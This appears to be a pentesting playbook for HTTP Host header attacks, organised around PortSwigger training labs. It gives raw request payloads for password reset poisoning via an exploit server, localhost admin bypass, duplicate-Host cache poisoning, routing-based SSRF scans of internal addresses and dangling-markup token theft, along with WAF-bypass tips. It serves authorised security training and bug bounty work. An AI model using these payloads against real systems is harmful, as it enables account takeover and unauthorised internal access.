Host header

HTTP Host Header Attacks — Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

• BSCP certification prep
• Real-world bug bounty hunting
• Building exploitation chains
• Understanding bypass techniques

Prerequisites

• Burp Suite Professional
• Burp Collaborator / interactsh
• Browser with proxy configured

Workflow

Phase 1: Reconnaissance

• Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

• Apply standard lab payloads.

Phase 3: Zero-Day Escalation

• Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Basic password reset poisoning 🟢 APPRENTICE

POST /forgot-password HTTP/1.1
Host: EXPLOIT-SERVER

username=carlos

Reset link sent to carlos contains your Host → steal token from access log.

Lab 2: Auth bypass 🟡 PRACTITIONER

GET /admin HTTP/1.1
Host: localhost

---

Lab 3: Ambiguous requests cache poison 🟡 PRACTITIONER

GET / HTTP/1.1
Host: TARGET
Host: EXPLOIT-SERVER

Duplicate Host header — backend uses second, cache keys on first.

Lab 4: Routing-based SSRF 🟡 PRACTITIONER

GET /admin HTTP/1.1
Host: 192.168.0.§1§

Host header controls routing to internal backends. Scan for admin panel.

Lab 5: SSRF via flawed parsing 🟡 PRACTITIONER

GET https://TARGET/admin HTTP/1.1
Host: 192.168.0.1

Absolute URL in request line → some servers use Host header for routing instead.

Lab 6: Connection state attack 🔴 EXPERT

First request: valid Host. Keep-alive → second request: Host: 192.168.0.1. Server reuses validated connection state.

Lab 7: Dangling markup password reset 🔴 EXPERT

Host: TARGET:arbitraryport/exploit-server.com/?

Password reset email contains truncated URL that leaks token to your server via dangling markup.

Blue Team Detection

• Monitor access logs for anomalous payloads.
• Implement strict input validation and parameterized queries where applicable.
• Create WAF rules masking generic attack patterns.

Zero-Day Research

When standard technique fails:

1. Identify the filter/WAF
2. Fuzz with Burp Intruder custom wordlists
3. Search GitHub/Twitter for new bypasses
4. Chain with other vulns for escalation
5. Try encoding variants: URL, double-URL, unicode, hex

Key Concepts

Concept	Description
PortSwigger Vectors	Standardized approaches to vulnerability classes.
Payload Encoding	Modifying payloads to bypass basic string matching WAFs.

Output Format

Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]

🔵 Blue Team

• Deploy robust WAF rules to detect anomalies.
• Monitor logs for unusual access patterns.

🛡️ Remediation & Mitigation Strategy

• Input Validation: Sanitize and strictly type-check all inputs.
• Least Privilege: Constrain component execution bounds.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• PortSwigger Labs
• PayloadsAllTheThings
• HackTricks